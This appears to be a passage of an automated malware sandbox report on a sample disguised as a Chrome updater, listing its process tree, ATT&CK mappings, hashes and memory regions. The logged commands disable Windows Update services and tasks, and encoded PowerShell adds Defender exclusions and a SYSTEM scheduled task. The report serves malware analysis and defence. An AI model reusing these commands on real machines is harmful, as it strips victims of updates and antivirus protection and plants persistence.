C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:1964

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:3300

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:2976

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:3144

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:3156

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:4132

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1748

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:5012

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:3040

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:4480

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4520

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4728

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:4884

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:2148

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1780

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1648

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1668

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:2764

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:2768

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:4264

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:4260

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:2540

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:2344

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:1224

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1916

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4184

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4236

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdAB2ACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACIAUABBAEEAagBBAEcANABBAGUAZwBCAGkAQQBIAEEAQQBJAHcAQQArAEEAQwBBAEEAVQB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDADAAQQBVAEEAQgB5AEEARwA4AEEAWQB3AEIAbABBAEgATQBBAGMAdwBBAGcAQQBDADAAQQBSAGcAQgBwAEEARwB3AEEAWgBRAEIAUQBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBKAHcAQgBEAEEARABvAEEAWABBAEIAUQBBAEgASQBBAGIAdwBCAG4AQQBIAEkAQQBZAFEAQgB0AEEAQwBBAEEAUgBnAEIAcABBAEcAdwBBAFoAUQBCAHoAQQBGAHcAQQBSAHcAQgB2AEEARwA4AEEAWgB3AEIAcwBBAEcAVQBBAFgAQQBCAEQAQQBHAGcAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEIAYwBBAEgAVQBBAGMAQQBCAGsAQQBHAEUAQQBkAEEAQgBsAEEASABJAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAaQBBAEMAQQBBAFUAZwBCADEAQQBHADQAQQBRAFEAQgB6AEEAQwBBAEEAUABBAEEAagBBAEcATQBBAGUAUQBCADYAQQBDAE0AQQBQAGcAQQA9ACIAJwApACAAPAAjAHoAZAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAG0AcQBoACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAbABmAG4AIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBqAGIAaQAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAZQAxADIANABiAGYAZQA0ADUANAA1ADEAMgA2ADcAMQBkADYANQBmADgANQA0AGMAMABjAGMAZgAzAGEAZQA5ADIAYgA3ADMAYQBlADAAOAA0ADAANQAwAGQAYgA0ADMAOQBlADcAMAA5AGEAYwA2ADMAMQAyADkAMAAyADUALgBlAHgAZQAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBiAGUAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAdAB6AHEAeQAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnADsA"
3⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAG4AegBiAHAAIwA+ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBWAGUAcgBiACAAUgB1AG4AQQBzACAAPAAjAGMAeQB6ACMAPgA="
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2236

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1304

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"
3⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdAB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBhAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAZwBuACMAPgA="
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2836

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1748

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:4504

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:1448

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:3964

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:820

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:384

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
5⤵
- Modifies registry key
PID:1068

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
5⤵
- Modifies registry key
PID:1168

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
5⤵
- Modifies registry key
PID:2300

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
5⤵
- Modifies registry key
PID:1276

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
5⤵
- Modifies registry key
PID:652

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:928

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:632

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:4748

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:4868

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:4728

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:4884

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
5⤵
PID:1772

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
5⤵
PID:2332

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
5⤵
PID:1464

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
5⤵
PID:1648

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
5⤵
PID:2480

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
5⤵
PID:2740

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:4672

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
PID:788

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
PID:4740

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
PID:432

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
PID:868

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
PID:1028

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "przhttndp"
4⤵
PID:3244

C:\Windows\explorer.exe
C:\Windows\explorer.exe vyqrgnmarui1 GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqN5dCL6SdfpGQxdbsBsqueaxRnQzTx2Bqmg+8Hm/cXMESqb4c3Os26fGj23Hqsnl0qmcpNr8N8RD0Uj65Is/XzsC3UFIPpYz7Zp9mKjXqYW+xHlpEMJ8pitovpD3AlrEcYhafjTHJIBsyQCmYqS8DwlNaC3+8ctTQ5gWGWPwhQ4m7w5ntgK8u6m/StfnNPDdr+VwS4s25pICn3Q/Dq0WEk/j+SBlrEi93dXqUBShtLfUbnT4w5YQhLxDVbXc7xoFDIPd01rv+1vwAaan4sl2k1YkrvCpkMy2cu5BYO8sYd8sc8dLcQPq/swWuhKRRVQuprYmKwuUqhwRP67Zf25Cl8Ush6VLBdnMAvFLywM+oNSpyK7wZGKNjvWUFQPU9e9Qm
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3832

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
322cf2f6a67420e4eb53f29263a639ba

SHA1
bc91f56c260ff4484f7fb0d33a3d351d3d812781

SHA256
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025

SHA512
3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
322cf2f6a67420e4eb53f29263a639ba

SHA1
bc91f56c260ff4484f7fb0d33a3d351d3d812781

SHA256
1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025

SHA512
3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
de77cc09c8792b9d60e614a37574ee16

SHA1
c396158bb7c7fd8e3cc809a50da03d0026ead622

SHA256
268eafb9fc5a90782f54ab8476c919359b3b3924ee3bdbd5e2d1c20d6dd748cd

SHA512
70ae07c8fe3e4c8d176efd380e90c470fa6e58e4e8ca4d804a854fe388fa93f054a151d66ba9d336b3ca7e3a1183008f2978f3fbd23ab8e0489cc4fc236a1329

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
5d574dc518025fad52b7886c1bff0e13

SHA1
68217a5f9e9a64ca8fed9eefa4171786a8f9f8f7

SHA256
755c4768f6e384030805284ab88689a325431667e9ab11d9aeaa55e9739742f2

SHA512
21de152e07d269b265dae58d46e8c68a3268b2f78d771d4fc44377a14e0c6e73aadae923dcfd34ce2ef53c2eaa53d4df8f281d9b8a627edee213946c9ef37d13

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
e2d46bffd1d9300639cac360fac02cb4

SHA1
fd2b4813c8ab610294b6759192ca05bad5bb8958

SHA256
94ffe575e92d3bab6173fd7eca207088c8b374de79d93dddf45101048c0bead3

SHA512
54b1ea5f5bb1d8a402fbb5ab8f0d7bec9aa47cb48a4c411ee8032648a97efe466d9d8e7f87c5ac288e994eeb47e034eac94bb3631955f9ba2270d687e7620535

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
c5227366b7a688ff23b01788718251aa

SHA1
9795262e79c832ba49c744fcd1b1794c0ffb5c6a

SHA256
789abfd744b03d07fac02be7177c535989ea9e92b9db32fb1360cdfd083a1f48

SHA512
8b9560fa2265f74aec7bb7b96e5a7dba789edc4166e58af9994a1ee95fa42b22a7539be804f4fcf3d5a9e657be020087a343b030fee6aaddbb67b1134810cfbe

Download Submit
memory/384-449-0x0000000000000000-mapping.dmp

Download
memory/432-446-0x0000000000000000-mapping.dmp

Download
memory/632-459-0x0000000000000000-mapping.dmp

Download
memory/652-456-0x0000000000000000-mapping.dmp

Download
memory/788-440-0x0000000000000000-mapping.dmp

Download
memory/820-447-0x0000000000000000-mapping.dmp

Download
memory/868-448-0x0000000000000000-mapping.dmp

Download
memory/928-457-0x0000000000000000-mapping.dmp

Download
memory/1028-450-0x0000000000000000-mapping.dmp

Download
memory/1068-451-0x0000000000000000-mapping.dmp

Download
memory/1168-452-0x0000000000000000-mapping.dmp

Download
memory/1224-187-0x0000000000000000-mapping.dmp

Download
memory/1276-455-0x0000000000000000-mapping.dmp

Download
memory/1304-280-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/1304-275-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/1304-272-0x0000000000000000-mapping.dmp

Download
memory/1304-276-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/1304-277-0x00007FF963120000-0x00007FF9632FB000-memory.dmp

Filesize
1.9MB

Download
memory/1304-281-0x00007FF963120000-0x00007FF9632FB000-memory.dmp

Filesize
1.9MB

Download
memory/1448-443-0x0000000000000000-mapping.dmp

Download
memory/1464-482-0x0000000000000000-mapping.dmp

Download
memory/1648-483-0x0000000000000000-mapping.dmp

Download
memory/1648-257-0x0000000000000000-mapping.dmp

Download
memory/1668-258-0x0000000000000000-mapping.dmp

Download
memory/1748-197-0x0000000000000000-mapping.dmp

Download
memory/1748-439-0x0000000000000000-mapping.dmp

Download
memory/1772-480-0x0000000000000000-mapping.dmp

Download
memory/1780-256-0x0000000000000000-mapping.dmp

Download
memory/1916-189-0x0000000000000000-mapping.dmp

Download
memory/1964-188-0x0000000000000000-mapping.dmp

Download
memory/2148-255-0x0000000000000000-mapping.dmp

Download
memory/2300-454-0x0000000000000000-mapping.dmp

Download
memory/2332-481-0x0000000000000000-mapping.dmp

Download
memory/2344-264-0x0000000000000000-mapping.dmp

Download
memory/2396-198-0x0000000000000000-mapping.dmp

Download
memory/2480-484-0x0000000000000000-mapping.dmp

Download
memory/2540-263-0x0000000000000000-mapping.dmp

Download
memory/2740-485-0x0000000000000000-mapping.dmp

Download
memory/2764-259-0x0000000000000000-mapping.dmp

Download
memory/2768-260-0x0000000000000000-mapping.dmp

Download
memory/2836-308-0x000002DDA73C0000-0x000002DDA73DC000-memory.dmp

Filesize
112KB

Download
memory/2836-290-0x0000000000000000-mapping.dmp

Download
memory/2836-314-0x000002DDA73E0000-0x000002DDA7499000-memory.dmp

Filesize
740KB

Download
memory/2836-347-0x000002DDA82E0000-0x000002DDA82EA000-memory.dmp

Filesize
40KB

Download
memory/2976-191-0x0000000000000000-mapping.dmp

Download
memory/3040-200-0x0000000000000000-mapping.dmp

Download
memory/3144-192-0x0000000000000000-mapping.dmp

Download
memory/3156-193-0x0000000000000000-mapping.dmp

Download
memory/3244-466-0x000001FB7DD10000-0x000001FB7DD17000-memory.dmp

Filesize
28KB

Download
memory/3244-464-0x000001FB7E430000-0x000001FB7E436000-memory.dmp

Filesize
24KB

Download
memory/3300-190-0x0000000000000000-mapping.dmp

Download
memory/3832-475-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/3832-472-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/3832-476-0x0000000001460000-0x0000000001480000-memory.dmp

Filesize
128KB

Download
memory/3832-471-0x000000014036EAC4-mapping.dmp

Download
memory/3832-478-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/3832-487-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/3832-470-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/3956-204-0x0000000000000000-mapping.dmp

Download
memory/3964-445-0x0000000000000000-mapping.dmp

Download
memory/4132-194-0x0000000000000000-mapping.dmp

Download
memory/4184-195-0x0000000000000000-mapping.dmp

Download
memory/4236-196-0x0000000000000000-mapping.dmp

Download
memory/4260-262-0x0000000000000000-mapping.dmp

Download
memory/4264-261-0x0000000000000000-mapping.dmp

Download
memory/4480-201-0x0000000000000000-mapping.dmp

Download
memory/4504-442-0x0000000000000000-mapping.dmp

Download
memory/4520-202-0x0000000000000000-mapping.dmp

Download
memory/4648-458-0x0000024CB1B50000-0x0000024CB1B62000-memory.dmp

Filesize
72KB

Download
memory/4648-453-0x0000024C98ED0000-0x0000024C98ED6000-memory.dmp

Filesize
24KB

Download
memory/4672-486-0x0000000000000000-mapping.dmp

Download
memory/4728-477-0x0000000000000000-mapping.dmp

Download
memory/4728-203-0x0000000000000000-mapping.dmp

Download
memory/4740-444-0x0000000000000000-mapping.dmp

Download
memory/4748-469-0x0000000000000000-mapping.dmp

Download
memory/4868-474-0x0000000000000000-mapping.dmp

Download
memory/4884-254-0x0000000000000000-mapping.dmp

Download
memory/4884-479-0x0000000000000000-mapping.dmp

Download
memory/4956-127-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/4956-128-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/4956-129-0x00007FF963120000-0x00007FF9632FB000-memory.dmp

Filesize
1.9MB

Download
memory/4956-130-0x0000000000400000-0x000000000106F000-memory.dmp

Filesize
12.4MB

Download
memory/4956-131-0x00007FF963120000-0x00007FF9632FB000-memory.dmp

Filesize
1.9MB

Download
memory/4968-136-0x0000014BF6DB0000-0x0000014BF71CE000-memory.dmp

Filesize
4.1MB

Download
memory/4968-137-0x0000014BDBD30000-0x0000014BDC14E000-memory.dmp

Filesize
4.1MB

Download
memory/5012-199-0x0000000000000000-mapping.dmp

Download
memory/5064-144-0x0000000000000000-mapping.dmp

Download
memory/5064-150-0x000002A0EC270000-0x000002A0EC292000-memory.dmp

Filesize
136KB

Download
memory/5064-153-0x000002A0ECDE0000-0x000002A0ECE56000-memory.dmp

Filesize
472KB

Download
memory/5092-186-0x0000000000000000-mapping.dmp

Download